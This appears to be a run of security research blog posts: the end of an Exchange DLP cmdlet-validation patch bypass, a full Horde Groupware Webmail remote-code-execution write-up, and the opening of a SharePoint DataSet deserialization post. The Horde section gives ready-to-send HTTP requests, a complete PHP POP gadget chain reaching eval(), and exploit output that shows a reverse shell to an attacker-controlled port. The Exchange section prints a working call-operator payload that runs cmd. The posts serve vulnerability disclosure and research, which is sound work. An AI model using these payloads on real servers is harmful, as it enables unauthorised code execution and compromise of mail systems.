Microsoft patched this patch bypass as CVE-2020-171324 but unfortunately the story doesn’t end there. After reviewing the patch for CVE-2020-17132, Markus and I soon realized we could bypass it again! I tried warning Microsoft multiple times that they have to be careful with this patch because there was already two different bypasses and that the patch needs to at least defend against both. Let’s review the new patch:

Patch Bypass 2

We start out again in DlpPolicyTemplateMetaData.ValidateCmdletParameters after looping through the cmdlet list:

// Microsoft.Exchange.MessagingPolicies.CompliancePrograms.Tasks.DlpPolicyTemplateMetaData
internal static void ValidateCmdletParameters(string cmdlet)
{
    if (!new CmdletValidator(DlpPolicyTemplateMetaData.AllowedCommands, DlpPolicyTemplateMetaData.RequiredParams, DlpPolicyTemplateMetaData.NotAllowedParams).ValidateCmdlet(cmdlet)) 
    {
        throw new DlpPolicyParsingException(Strings.DlpPolicyNotSupportedCmdlet(cmdlet));
    }
}

private static readonly HashSet<string> AllowedCommands = new HashSet<string>(StringComparer.OrdinalIgnoreCase)
{
    "New-TransportRule"
};

private static readonly Dictionary<string, HashSet<string>> NotAllowedParams = new Dictionary<string, HashSet<string>>(StringComparer.OrdinalIgnoreCase)
{
    {
        "New-TransportRule",
        new HashSet<string>(StringComparer.OrdinalIgnoreCase)
        {
            "-Organization"
        }
    }
};

private static readonly Dictionary<string, HashSet<string>> RequiredParams = new Dictionary<string, HashSet<string>>(StringComparer.OrdinalIgnoreCase)
{
    {
        "New-TransportRule",
        new HashSet<string>(StringComparer.OrdinalIgnoreCase)
        {
            "-DlpPolicy"
        }
    }
};

Inside of the ValidateCmdletParameters function we can see a call to CmdletValidator.ValidateCmdlet:

// Microsoft.Exchange.Management.Common.CmdletValidator
public CmdletValidator(HashSet<string> allowedCommands, Dictionary<string, HashSet<string>> requiredParameters = null, Dictionary<string, HashSet<string>> notAllowedParameters = null)
{
    this.AllowedCommands = allowedCommands;
    this.RequiredParameters = requiredParameters;
    this.NotAllowedParameters = notAllowedParameters;
}
        
public bool ValidateCmdlet(string cmdlet)
{
    if (string.IsNullOrWhiteSpace(cmdlet))  // 1
    {
        return false;
    }
    Collection<PSParseError> collection2;
    Collection<PSToken> collection = PSParser.Tokenize(cmdlet, out collection2);
    if ((collection2 != null && collection2.Count > 0) || collection == null)  // 2
    {
        return false;
    }
    List<PSToken> list = (from token in collection
    where token.Type == PSTokenType.Command  // 3
    select token).ToList<PSToken>();
    if (list.Count != 1)
    {
        return false;
    }
    string content = list.First<PSToken>().Content;
    if (!this.AllowedCommands.Contains(content)) // 4
    {
        return false;
    }
    HashSet<string> hashSet = new HashSet<string>(from token in collection
    where token.Type == PSTokenType.CommandParameter
    select token into pstoken
    select pstoken.Content, StringComparer.OrdinalIgnoreCase);
    if (this.NotAllowedParameters != null && this.NotAllowedParameters.ContainsKey(content))
    {
        HashSet<string> hashSet2 = this.NotAllowedParameters[content];
        foreach (string item in hashSet)
        {
            if (hashSet2.Contains(item)) // 5
            {
                return false;
            }
        }
    }
    if (this.RequiredParameters != null && this.RequiredParameters.ContainsKey(content))
    {
        foreach (string item2 in this.RequiredParameters[content])
        {
            if (!hashSet.Contains(item2)) // 6
            {
                return false;
            }
        }
    }
    return true;
}

The function performs several checks (well 6 to be exact) and if any of them are true, then the attack will fail:

  1. The command is null
  2. There are errors in the command when parsing it
  3. There are more than 1 command
  4. The provided command isn’t “New-TransportRule”
  5. The provided command parameter is “-Organization”
  6. The provided command parameter is not “-DlpPolicy”

Also, Microsoft changed the language mode of the runspace for the CmdletRunner class to RestrictedLanguage:

// Microsoft.Exchange.Management.Common.CmdletRunner
internal static IEnumerable<PSObject> RunCmdlets(IEnumerable<string> cmdlets, bool continueOnFailure = false)
{
    PSLanguageMode languageMode = Runspace.DefaultRunspace.SessionStateProxy.LanguageMode;
    if (languageMode != PSLanguageMode.RestrictedLanguage)
    {
        Runspace.DefaultRunspace.SessionStateProxy.LanguageMode = PSLanguageMode.RestrictedLanguage;
    }

Amazingly, with all these checks and a RestrictedLanguage mode runspace, we can still bypass the function using good ol’ fashion call operators!

Escaping RestrictedLanguage mode in Powershell

& 'Invoke-Expression' '[Diagnostics.Process]::Start("cmd","/c mspaint")'; New-TransportRule -DlpPolicy

And when we parse that command above, we satisfy all 6 criteria of the validation function! As seen below, with the PSTokenType followed by it’s literal value. Note that the call operator is of type Operator and it can call String types:

Operator :: &
String :: Invoke-Expression
String :: [Diagnostics.Process]::Start("cmd","/c mspaint")
StatementSeparator :: ;
Command :: New-TransportRule
CommandParameter :: -DlpPolicy

Microsoft rewarded me handsomely for the original report under their Office 365 Cloud Bounty program for pulling that attack off along with the several bypasses. I reported this patch bypass on the 9th of December, 2020 just one day after patch tuesday and unfortunately at this time there is no mitigation against this attack for on-premise deployments of Exchange Server.

I have given Microsoft over 6 months to get the patch correct, 90 days for the first bug (standard), 60 days for the first patch bypass and 30 days for the second patch bypass. Each patch bypass loses 30 days and I don’t change the rules for any vendor, sorry.

A big thanks to Jarek and Sylvie for looking after me! As always, you can review the original advisory and download the original pocs from here and here

Conclusion

We really need to be asking ourselves: Is relying on a cloud providers with a single point of failure the right approach?

When we are looking at new technologies or focusing on new areas, it’s always wise to re-evaluate the threat landscape. Attackers may infact have more access than you initially thought and this can greatly expand the attack surface of a given technology. Microsoft rated this bug as critical because it also impacted multiple SaaS5 providers as well as on-premise installations and I agree with that assessment.

To the security researchers out there: Not all code execution bugs in .net are deserialization related. It’s easy to fall into the tunnel vision trap so it’s important to remember not to “follow the crowd”.

Is post-authenticated remote code execution dangerous?

References

A SmorgasHORDE of Vulnerabilities :: A Comparative Analysis of Discovery

19 August 2020 at 14:00

Horde Groupware Webmail

Some time ago I performed an audit of the Horde Groupware Webmail suite of applications and found an interesting code pattern that facilitated the attack of 34+ remote code execution vulnerabilities. Additionally, Andrea Cardaci’s performed an audit around the same time and we seemed to miss each others bugs due to a difference in auditing styles.

TL;DR; In this post, I share the technical details of one Andrea’s bugs that I missed and how I missed it. Then I dive into full exploitation of a vulnerability that I found that required several primitives to achieve remote code execution. Hopefully this blog post will demonstrate how obtaining the context of the application’s code can provide powerful primitives to defeat developer assumptions.

Authentication

Typically speaking, remote code execution vulnerabilities that require authentication don’t have a very high impact since an attacker requires sensitive information before gaining access. However, in webmail based applications things are a little different.

These types of applications are often remotely exposed and highly used. Attackers can still (ab)use techniques such as credential stuffing, account bruteforce, phishing or credential re-use. Once access is gained, the impact is often high, leading to outcomes like leaked email spools.

For example the Microsoft Exchange Validation Key Remote Code Execution Vulnerability (CVE-2020-0688) was exploited in the wild and required a domain account before proceeding. Another example was a file disclosure vulnerability affecting Roundcube Webmail (CVE-2017-16651) that was exploited in November 2017 requiring valid credentials.

Therefore a low privileged authenticated user that can execute remote code against a webmail based application is still a critical issue.

Backgound

Andrea discovered a local file inclusion (CVE-2020-8865) and an arbitrary file upload restricted to the /tmp directory (CVE-2020-8866). In the same blog post, he mentions two different code paths to the same phar deserialization vulnerability which has no CVE assigned and was left unpatched. Andrea and I discussed this and we came to the conclusion that the developers choose not to patch the phar deserialization issue due the patch for CVE-2020-8866 that prevents planting phar archives. Additionally, I later found out that the Horde_Http_Request_Fopen class is not used by default, which i’m positive is the reason why the issue was never patched.

To quote Andrea from his blog post:

To use the other approach instead, just bookmark phar:///tmp/exploit.phar then click on it after the upload phase.

What is evident is that his approach to discovering the phar deserialization issues was through black-box auditing which can help reveal context that’s mapped to the UI. Whilst white-box auditing is important for discovering a large varient base, it’s evident that a black-box approach can still find critical issues where varients can be modelled from.

Horde Groupware Webmail Trean_Queue_Task_Crawl url Deserialization of Unstrusted Data Remote Code Execution Vulnerability

Summary

This vulnerability allows remote attackers to execute arbitrary code on affected installations of Horde Groupware Webmail Edition. Low privileged authentication is required to exploit this vulnerability.

The specific flaw exists within the Trean_Queue_Task_Crawl class. When parsing the url parameter the process does not properly validate the user-supplied value prior to using it in file operations that result in deserialization of untrusted data. An attacker can leverage this in conjunction with other vulnerabilities to execute code in the context of the www-data user.

Attack Flow

This flow can be triggered after a user has logged in and planted a phar archive using CVE-2020-8866:

Stage 1 - Add a bookmark with the url parameter mapping to your malicious phar archive.

POST /horde/trean/add.php HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
Cookie: Horde=<sessionid>

actionID=add_bookmark&url=phar:///tmp/poc.xyz

Stage 2 - Leak the b parameter. This is required to trigger stage 3.

GET /horde/trean/ HTTP/1.1
Host: <target>
Cookie: Horde=<sessionid>

response…

...
        <a href="/horde/trean/redirect.php?b=28" target="_blank">phar:///tmp/poc.xyz</a>

Stage 3 - Trigger phar deserialization.

GET /horde/trean/redirect.php?b=28 HTTP/1.1
Host: <target>
Cookie: Horde=<sessionid>

Vulnerability Analysis

As noted, an attacker can reach the trigger path from the trean/redirect.php script:

require_once __DIR__ . '/lib/Application.php';
Horde_Registry::appInit('trean');

$bookmark_id = Horde_Util::getFormData('b');
if (!$bookmark_id) {
    exit;
}

try {
    $bookmark = $trean_gateway->getBookmark($bookmark_id);
    ++$bookmark->clicks;
    $bookmark->save();                                              // 1
    header('Location: ' . Horde::externalUrl($bookmark->url));
} catch (Exception $e) {
}

The save method is implemented in the trean/lib/Bookmark.php script:

class Trean_Bookmark
{

    //...

    public function save($crawl = true)                             // 2
    {
        if (!strlen($this->url)) {
            throw new Trean_Exception('Incomplete bookmark');
        }

        $charset = $GLOBALS['trean_db']->getOption('charset');
        $c_url = Horde_String::convertCharset($this->url, 'UTF-8', $charset);
        $c_title = Horde_String::convertCharset($this->title, 'UTF-8', $charset);
        $c_description = Horde_String::convertCharset($this->description, 'UTF-8', $charset);
        $c_favicon_url = Horde_String::convertCharset($this->favicon_url, 'UTF-8', $charset);

        if ($this->id) {
            // Update an existing bookmark.
            $GLOBALS['trean_db']->update('
                UPDATE trean_bookmarks
                SET user_id = ?,
                    bookmark_url = ?,
                    bookmark_title = ?,
                    bookmark_description = ?,
                    bookmark_clicks = ?,
                    bookmark_http_status = ?,
                    favicon_url = ?
                WHERE bookmark_id = ?',
                array(
                    $this->userId,
                    $c_url,
                    $c_title,
                    $c_description,
                    $this->clicks,
                    $this->http_status,
                    $c_favicon_url,
                    $this->id,
            ));

            $GLOBALS['injector']->getInstance('Trean_Tagger')->replaceTags((string)$this->id, $this->tags, $GLOBALS['registry']->getAuth(), 'bookmark');
        } else {
            // Saving a new bookmark.
            $bookmark_id = $GLOBALS['trean_db']->insert('
                INSERT INTO trean_bookmarks (
                    user_id,
                    bookmark_url,
                    bookmark_title,
                    bookmark_description,
                    bookmark_clicks,
                    bookmark_http_status,
                    favicon_url,
                    bookmark_dt
                ) VALUES (?, ?, ?, ?, ?, ?, ?, ?)',
                array(
                    $this->userId,
                    $c_url,
                    $c_title,
                    $c_description,
                    $this->clicks,
                    $this->http_status,
                    $c_favicon_url,
                    $this->dt,
            ));

            $this->id = (int)$bookmark_id;
            $GLOBALS['injector']->getInstance('Trean_Tagger')->tag((string)$this->id, $this->tags, $GLOBALS['registry']->getAuth(), 'bookmark');
        }

        if ($crawl) {                                                                   // 3
            try {
                $queue = $GLOBALS['injector']->getInstance('Horde_Queue_Storage');
                $queue->add(new Trean_Queue_Task_Crawl(                                 // 4
                    $this->url,                                                         // 5
                    $this->title,
                    $this->description,
                    $this->id,
                    $this->userId
                ));
            } catch (Exception $e) {
                Horde::log($e, 'INFO');
            }
        }

The attacker supplied url is parsed as the first argument to the constructor of the Trean_Queue_Task_Crawl class (defined in the trean/lib/Queue/Task/Crawl.php script) and the created instance is added to a queue. Classes that are added to a queue have their run method triggered:

class Trean_Queue_Task_Crawl implements Horde_Queue_Task
{

    //...

    public function __construct($url, $userTitle, $userDesc, $bookmarkId, $userId)
    {
        $this->_url = $url;
        $this->_userTitle = $userTitle;
        $this->_userDesc = $userDesc;
        $this->_bookmarkId = $bookmarkId;
        $this->_userId = $userId;
    }

    /**
     */
    public function run()
    {
        $injector = $GLOBALS['injector'];

        // Get Horde_Http_Client
        $client = $injector->getInstance('Horde_Http_Client');

        // Fetch full text of $url
        try {
            $page = $client->get($this->_url);                                          // 6

At [6] the code calls the get method from a Horde_Http_Client instance. This class is defined in /usr/share/php/Horde/Http/Client.php script:

class Horde_Http_Client
{

    //...

    public function get($uri = null, $headers = array())
    {
        return $this->request('GET', $uri, null, $headers);
    }

    //...

    public function request(
        $method, $uri = null, $data = null, $headers = array()
    )
    {
        if ($method !== null) {
            $this->request->method = $method;
        }
        if ($uri !== null) {
            $this->request->uri = $uri;
        }
        if ($data !== null) {
            $this->request->data = $data;
        }
        if (count($headers)) {
            $this->request->setHeaders($headers);
        }

        $this->_lastRequest = $this->_request;
        $this->_lastResponse = $this->_request->send();                                 // 7

        return $this->_lastResponse;
    }

Several classes that extend the Horde_Http_Request_Base class implement the send method that is triggered at [7]:

researcher@target:/var/www/horde$ grep -sir "function send(" /usr/share/php/Horde/Http/Request/
/usr/share/php/Horde/Http/Request/Mock.php:    public function send()
/usr/share/php/Horde/Http/Request/Curl.php:    public function send()
/usr/share/php/Horde/Http/Request/Base.php:    abstract public function send();
/usr/share/php/Horde/Http/Request/Peclhttp.php:    public function send()
/usr/share/php/Horde/Http/Request/Fopen.php:    public function send()
/usr/share/php/Horde/Http/Request/Peclhttp2.php:    public function send()

We can determine which implementation is used statically by investigating the Horde_Http_Request_Factory class defined in the /usr/share/php/Horde/Http/Request/Factory.php file:

    public function create()
    {
        if (class_exists('HttpRequest', false)) {
            return new Horde_Http_Request_Peclhttp();                    // 1
        } elseif (class_exists('\http\Client', false)) {
            return new Horde_Http_Request_Peclhttp2();                   // 2
        } elseif (extension_loaded('curl')) {
            return new Horde_Http_Request_Curl();                        // 3
        } elseif (ini_get('allow_url_fopen')) {
            return new Horde_Http_Request_Fopen();                       // 4
        } else {
            // ...
        }
    }

By default, [1] and [2] are not installed. When installing from the pear server (the default installation), [3] is installed. We can verify this by adding a die(var_dump($this->_request)) to the request method, dumping the instance object at runtime:

object(Horde_Http_Request_Curl)#210 (3) {
  ["_httpAuthSchemes":protected]=>
  array(5) {
    ["ANY"]=>
    int(-17)
    ["BASIC"]=>
    int(1)
    ["DIGEST"]=>
    int(2)
    ["GSSNEGOTIATE"]=>
    int(4)
    ["NTLM"]=>
    int(8)
  }
  ["_headers":protected]=>
  array(0) {
  }
  ["_options":protected]=>
  array(16) {
    ["uri"]=>
    string(21) "phar:///tmp/poc.phar"
    ["method"]=>
    string(3) "GET"
    ["data"]=>
    NULL
    ["username"]=>
    string(0) ""
    ["password"]=>
    string(0) ""
    ["authenticationScheme"]=>
    string(3) "ANY"
    ["proxyServer"]=>
    NULL
    ["proxyPort"]=>
    NULL
    ["proxyType"]=>
    int(0)
    ["proxyUsername"]=>
    NULL
    ["proxyPassword"]=>
    NULL
    ["proxyAuthenticationScheme"]=>
    string(5) "BASIC"
    ["redirects"]=>
    int(5)
    ["timeout"]=>
    int(5)
    ["userAgent"]=>
    string(16) "Horde_Http 2.1.7"
    ["verifyPeer"]=>
    bool(true)
  }
}

Therefore if the php-curl extension IS installed, then its not possible to exploit this bug. Only non-default setups are vulnerable because they can reach the send method of the Horde_Http_Request_Fopen class at [4].


    public function send()
    {
        $method = $this->method;
        $uri = (string)$this->uri;

        //...

        // fopen() requires a protocol scheme
        if (parse_url($uri, PHP_URL_SCHEME) === null) {
            $uri = 'http://' . $uri;
        }

        //...

        $stream = fopen($uri, 'rb', false, $context);                  // triggers phar deserialization here

        //...

This is an interesting code pattern I have seen several times in PHP applications that need to implement a client downloader.

How I Missed the Phar and Portal Bugs

Playing around with the GUI and throwing in URI’s looking for an SSRF would have found this Phar deserialization issue. Also, by performing heavy code analysis, I had forgotten to audit the classes extending the Horde_Core_Block class since I couldn’t find a direct way to trigger their instantiation and usage at the time. By adding widgets into the portal interface, I would have discovered how the Horde_Core_Block classes could have been reached!

As a friend once asked me: do you even known what the GUI looks like?

Horde Groupware Webmail Edition Sort sortpref Deserialization of Untrusted Data Remote Code Execution Vulnerability

Summary

This vulnerability allows remote attackers to execute arbitrary code on affected installations of Horde Groupware Webmail Edition. Low privileged authentication is required to exploit this vulnerability.

The specific flaw exists within Sort.php. When parsing the sortpref parameter, the process does not properly validate user-supplied data, which can result in deserialization of untrusted data. An attacker can leverage this vulnerability to execute code in the context of the www-data user.

Vulnerability Analysis

There are more than meets the eye to this large application (or group of applications rather). To understand this bug in depth, it will make sense to present it first and then explain the primitives required to reach and exploit it.

It’s possible to reach a second order deserialization of untrusted data in the IMP_Prefs_Sort class constructor defined in the imp/lib/Prefs/Sort.php script:

class IMP_Prefs_Sort implements ArrayAccess, IteratorAggregate
{
    /* Preference name in backend. */
    const SORTPREF = 'sortpref';

    /**
     * The sortpref value.
     *
     * @var array
     */
    protected $_sortpref = array();

    /**
     * Constructor.
     */
    public function __construct()
    {
        global $prefs;

        $sortpref = @unserialize($prefs->getValue(self::SORTPREF));             // 1
        if (is_array($sortpref)) {
            $this->_sortpref = $sortpref;
        }
    }

At first, this seems almost impossible to reach. Let’s break down what is required to exploit this vulnerability and then deal with them one by one:

1. Preference Control:

An attacker needs to be able to set the sortpref preference. These preferences are a per application setting and are stored in the database.

2. Object Instantiation:

The bug we are trying to reach is in the __construct method and the way to get that method fired, is to find a code path that calls new on the IMP_Prefs_Sort class or find a code path where we can control the class name to a new call.

3. Property Oriented Programming (POP) Chain:

We need something to unserialize that will do something dangerous, you know, like remote code execution.

The Primitives

Preference Control:

Before we can trigger the object instantiation, thus the deserialization of untrusted data, we need to be able to set the preference to a malicious serialized PHP object. One thing to note is that inside the IMP_Prefs_Sort class, the $prefs variable is set to global. This indicates to us that their must be another location where that variable can be modified.

From the GUI, Horde Groupware Webmail exposes a way to set preferences for an application using the services/prefs.php script. The issue with that however, is that a user doesn’t have control of all of the preferences. For example, a typical preference request might look like:

POST /horde/services/prefs.php HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
Content-Length: 132
Cookie: Horde=<sessionid>

horde_prefs_token=<csrftoken>&actionID=update_prefs&group=searches&app=imp&searches_action=1

That’s not going to cut it, we need something more specific and granular. As it turns out, several ajax handlers in different applications register the setPrefValue method from the Horde_Core_Ajax_Application_Handler_Prefs class. This particular ajax handler is not exposed from the GUI.

researcher@target:/var/www/horde$ grep -sir "Horde_Core_Ajax_Application_Handler_Prefs" .
./imp/lib/Ajax/Application.php:        $this->addHandler('Horde_Core_Ajax_Application_Handler_Prefs');
./mnemo/lib/Ajax/Application.php:        $this->addHandler('Horde_Core_Ajax_Application_Handler_Prefs');
./trean/lib/Ajax/Application.php:        $this->addHandler('Horde_Core_Ajax_Application_Handler_Prefs');
./kronolith/lib/Ajax/Application.php:        $this->addHandler('Horde_Core_Ajax_Application_Handler_Prefs');
./nag/lib/Ajax/Application.php:        $this->addHandler('Horde_Core_Ajax_Application_Handler_Prefs');

Since the IMP_Prefs_Sort class is within the imp application, I opted to use the IMP_Ajax_Application class so that I can set the preference for the imp (since preferences are application specific). Inside of the Horde_Core_Ajax_Application_Handler_Prefs class, we can see the setPrefValue method definition:

class Horde_Core_Ajax_Application_Handler_Prefs extends Horde_Core_Ajax_Application_Handler
{
    /**
     * Sets a preference value.
     *
     * Variables used:
     *   - pref: (string) The preference name.
     *   - value: (mixed) The preference value.
     *
     * @return boolean  True on success.
     */
    public function setPrefValue()
    {
        return $GLOBALS['prefs']->setValue(
            $this->vars->pref,
            $this->vars->value
        );
    }

}

Therefore, in order for us to set the sortpref preference for the imp application, we can use the following request:

GET /horde/services/ajax.php/imp/setPrefValue?pref=sortpref&value=junk&token=<csrftoken> HTTP/1.1
Host: <target>
Cookie: Horde=<sessionid>

Which returns the following response on success:

HTTP/1.1 200 OK
...
Content-Length: 29
Content-Type: application/json

/*-secure-{"response":true}*/

After using the Horde_Core_Ajax_Application_Handler_Prefs ajax handler, we can view the preference in the database:

MariaDB [horde]> select pref_value from horde_prefs where pref_uid='hordeuser' and pref_name='sortpref';
+------------+
| pref_value |
+------------+
| junk       |
+------------+
1 row in set (0.00 sec)

Object Instantiation:

Lucky for us, it’s also possible to reach the constructor of the IMP_Prefs_Sort class because I found an ajax handler called imple that will allow me to instantiate a class. The limitation here is that I can only instantiate a class with an empty constructor. The imple method is defined inside of the /usr/share/php/Horde/Core/Ajax/Application/Handler/Imple.php script:

class Horde_Core_Ajax_Application_Handler_Imple extends Horde_Core_Ajax_Application_Handler
{
    /**
     * AJAX action: Run imple.
     *
     * Parameters needed:
     *   - app: (string) Imple application.
     *   - imple: (string) Class name of imple.
     */
    public function imple()
    {
        global $injector, $registry;

        $pushed = $registry->pushApp($this->vars->app);
        $imple = $injector->getInstance('Horde_Core_Factory_Imple')->create($this->vars->imple, array(), true);       // 1

        $result = $imple->handle($this->vars);

        if ($pushed) {
            $registry->popApp();
        }

        return $result;
    }

}

The code calls create using the attacker controlled $this->vars->imple which becomes the driver for a new class. Inside of the /usr/share/php/Horde/Core/Factory/Imple.php script we can see the definition of Horde_Core_Factory_Imple that reveals the instantiation:

class Horde_Core_Factory_Imple extends Horde_Core_Factory_Base
{
    /**
     * Attempts to return a concrete Imple instance.
     *
     * @param string $driver     The driver name.
     * @param array $params      A hash containing any additional
     *                           configuration or parameters a subclass might
     *                           need.
     * @param boolean $noattach  Don't attach on creation.
     *
     * @return Horde_Core_Ajax_Imple  The newly created instance.
     * @throws Horde_Exception
     */
    public function create($driver, array $params = array(),
                           $noattach = false)
    {
        $class = $this->_getDriverName($driver, 'Horde_Core_Ajax_Imple');        // 2

        $ob = new $class($params);                                               // 4
    protected function _getDriverName($driver, $base)
    {
        /* Intelligent loading... if we see at least one separator character
         * in the driver name, guess that this is a full classname so try that
         * option first. */
        $search = (strpbrk($driver, '\\_') === false)
            ? array('driver', 'class')
            : array('class', 'driver');

        foreach ($search as $val) {
            switch ($val) {
            case 'class':
                if (class_exists($driver)) {
                    return $driver                                                // 3

Inside of the Horde_Core_Factory_Base class, the _getDriverName method is implemented and at [3] this method returns the attacker supplied $driver variable if it’s a valid class (it can be any class in scope). Finally at [4] object instantiation is triggered using the empty constructor (since $params is empty).

The trigger for the object instantiation and thus, the deserialization of untrusted data is:

GET /horde/services/ajax.php/imp/imple?imple=IMP_Prefs_Sort&app=imp&token=<csrftoken> HTTP/1.1
Host: <target>
Cookie: Horde=<sessionid>

The POP Chain

The final piece to the puzzle, is a serialized PHP object chain that will execute arbitrary remote code. My initial proof of concept used the Horde_Auth_Passwd class to rename a file on the local filesystem for remote code execution. However there were several limitations to this technique such as needing to upload a file onto the target system (to rename) and knowledge of the webroot path.

In the end I decided to use the Horde_Kolab_Server_Decorator_Clean class. This the same POP chain as used in CVE-2014-1691 by EgiX but I had to make several changes due to the way php 7+ uses Serializable interfaces and the changes that occured to the classes over 5+ years.

One of the major changes to the chain was that the Horde_Prefs_Scope class implements Serializable. This could be compared to Java’s Externalizable interface, whereby it allows a programmer to serialize only certain properties. Lucky for us, the properties that we are (ab)using are serialized! Let’s break down this monster of a chain.

class Horde_Kolab_Server_Decorator_Clean {

    public function delete($guid)
    {
        $this->_server->delete($guid);                                     // 3
        if (in_array($guid, $this->_added)) {
            $this->_added = array_diff($this->_added, array($guid));
        }
    }

    public function cleanup()
    {
        foreach ($this->_added as $guid) {
            $this->delete($guid);                                          // 2
        }
    }

    /**
     * Destructor.
     */
    public function __destruct()
    {
        try {
            $this->cleanup();                                              // 1
        } catch (Horde_Kolab_Server_Exception $e) {
        }
    }

}

The __destruct method calls cleanup at [1], which calls delete at [2] and then $this->_server->delete is called at [3].

class Horde_Prefs_Identity {

    public function save()
    {
        $this->_prefs->setValue($this->_prefnames['identities'], serialize($this->_identities));   // 6
        $this->_prefs->setValue($this->_prefnames['default_identity'], $this->_default);
    }

    public function delete($identity)
    {
        $deleted = array_splice($this->_identities, $identity, 1);

        if (!empty($deleted)) {                                                                    // 4
            foreach (array_keys($this->_identities) as $id) {
                if ($this->setDefault($id)) {
                    break;
                }
            }
            $this->save();                                                                         // 5
        }

        return reset($deleted);
    }
}

We can set the $this->_server property to Horde_Prefs_Identity to reach its delete method. The call to array_splice needs to return a value so that at [4] we can reach the save call at [5]. To achieve this, I just set the $this->_identities property on the Horde_Prefs_Identity class. Once save is called, we can reach [6] which is a call to setValue on a property.

class Horde_Prefs implements ArrayAccess
{
    /* The default scope name. */
    const DEFAULT_SCOPE = 'horde';

    public function setValue($pref, $val, array $opts = array())
    {
        /* Exit early if preference doesn't exist or is locked. */
        if (!($scope = $this->_getScope($pref)) ||                                // 7
            (empty($opts['force']) &&
             $this->_scopes[$scope]->isLocked($pref))) {
            return false;
        }

        // Check to see if the value exceeds the allowable storage limit.
        if ($this->_opts['sizecallback'] &&
            call_user_func($this->_opts['sizecallback'], $pref, strlen($val))) {  // 9
            return false;
        }
        ...
    }

    protected function _getScope($pref)
    {
        $this->_loadScope($this->_scope);

        if ($this->_scopes[$this->_scope]->exists($pref)) {
            return $this->_scope;
        } elseif ($this->_scope != self::DEFAULT_SCOPE) {
            $this->_loadScope(self::DEFAULT_SCOPE);
            if ($this->_scopes[self::DEFAULT_SCOPE]->exists($pref)) {
                return self::DEFAULT_SCOPE;                                       // 8
            }
        }

        return null;
    }

    protected function _loadScope($scope)
    {
        // Return if we've already loaded these prefs.
        if (!empty($this->_scopes[$scope])) {
            return;
        }
        ...
    }
}

At [7] setValue will call _getScope which will return the default scope at [8]. Once that check is passed, we can reach the call_user_func method at [9] with an attacker controlled _opts['sizecallback']. Leveraging this, we can target the readXMLConfig method of the Horde_Config class for an unprotected eval() at [10].

class Horde_Config
{

    public function readXMLConfig($custom_conf = null)
    {
        if (!is_null($this->_xmlConfigTree) && !$custom_conf) {
            return $this->_xmlConfigTree;
        }

        $path = $GLOBALS['registry']->get('fileroot', $this->_app) . '/config';

        if ($custom_conf) {
            $this->_currentConfig = $custom_conf;
        } else {
            /* Fetch the current conf.php contents. */
            @eval($this->getPHPConfig());                                             // 10
            if (isset($conf)) {
                $this->_currentConfig = $conf;
            }
        }
        ...
    }

    public function getPHPConfig()
    {
        if (!is_null($this->_oldConfig)) {
            return $this->_oldConfig;
        }
        ...
    }
    ...
}

It was not lost on me, that we are (ab)using the Horde_Prefs class for the deserialization chain either!

Proof of Concept

Here is the completed POP chain I used:

<?php

class Horde_Config
{
   protected $_oldConfig = "phpinfo();die;";
}

class Horde_Prefs_Scope implements Serializable
{
    protected $_prefs = array(1);
    protected $scope;

    public function serialize()
    {
        return json_encode(array(
            $this->scope,
            $this->_prefs
        ));
    }

    public function unserialize($data)
    {
        list($this->scope, $this->_prefs) = json_decode($data, true);
    }
}

class Horde_Prefs
{
   protected $_opts, $_scopes;

   function __construct()
   {
      $this->_opts['sizecallback'] = array(new Horde_Config, 'readXMLConfig');
      $this->_scopes['horde'] = new Horde_Prefs_Scope;
   }
}

class Horde_Prefs_Identity
{

   protected $_prefs, $_prefnames, $_identities;
   function __construct()
   {
      $this->_identities = array(0);
      $this->_prefs = new Horde_Prefs;
      $this->_prefnames['identities'] = 0;
   }
}

class Horde_Kolab_Server_Decorator_Clean
{
   private $_server, $_added;
   function __construct()
   {
      $this->_added = array(0);
      $this->_server = new Horde_Prefs_Identity;
   }
}

$popchain = serialize(new Horde_Kolab_Server_Decorator_Clean);
echo $popchain;

…and finally icing on the cake:

saturn:~ mr_me$ ./poc.py 
(+) usage ./poc.py <target> <path> <user:pass> <connectback:port>
(+) eg: ./poc.py 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337

saturn:~ mr_me$ ./poc.py 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337
(+) targeting http://172.16.175.145/horde/
(+) obtained session iefankvohbl8og0mtaadm3efb6
(+) inserted our php object
(+) triggering deserialization...
(+) starting handler on port 1337
(+) connection from 172.16.175.145
(+) pop thy shell!
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
pwd
/var/www/horde/services
uname -a
Linux target 4.9.0-11-amd64 #1 SMP Debian 4.9.189-3+deb9u1 (2019-09-20) x86_64 GNU/Linux
exit
*** Connection closed by remote host ***
(+) repaired the target!

You can download the complete exploit here.

Conclusions

Complex applications need both a white-box review and a black-box review to provide complete context to an auditor. Knowledge if the underlying framework and code is nice, but it can be very difficult to find the code path to a bug if context and understanding is not achieved. Continuing to discover and develop black-box finger printing techniques is very important for subtle and high impact vulnerability classes.

References

SharePoint and Pwn :: Remote Code Execution Against SharePoint Server Abusing DataSet

20 July 2020 at 14:00

SharePoint

When CVE-2020-1147 was released last week I was curious as to how this vulnerability manifested and how an attacker might achieve remote code execution with it. Since I’m somewhat familiar with SharePoint Server and .net, I decided to take a look.

TL;DR; I share the breakdown of CVE-2020-1147 which was discovered independently by Oleksandr Mirosh, Markus Wulftange and Jonathan Birch. I share the details on how it can be leveraged against a SharePoint Server instance to gain remote code execution as a low privileged user. Please note: I am not providing a full exploit, so if that’s your jam, move along.

One of the things that stood out to me, was that Microsoft published Security Guidence related to this bug, quoting Microsoft:

If the incoming XML data contains an object whose type is not in this list… An exception is thrown. The deserialization operation fails. When loading XML into an existing DataSet or DataTable instance, the existing column definitions are also taken into account. If the table already contains a column definition of a custom type, that type is temporarily added to the allow list for the duration of the XML deserialization operation.

Interestingly, it was possible to specify types and it was possible to overwrite column definitions. That was the key giveaway for me, let’s take a look at how the DataSet object is created:

Understanding the DataSet Object

A DataSet contains a Datatable with DataColumn(s) and DataRow(s). More importantly, it implements the ISerializable interface meaning that it can be serialized with XmlSerializer. Let’s start by creating a DataTable:

        static void Main(string[] args)
        {
            // instantiate the table
            DataTable exptable = new DataTable("exp table");
			
            // make a column and set type information and append to the table
            DataColumn dc = new DataColumn("ObjectDataProviderCol");
            dc.DataType = typeof(ObjectDataProvider);
            exptable.Columns.Add(dc);
			
            // make a row and set an object instance and append to the table
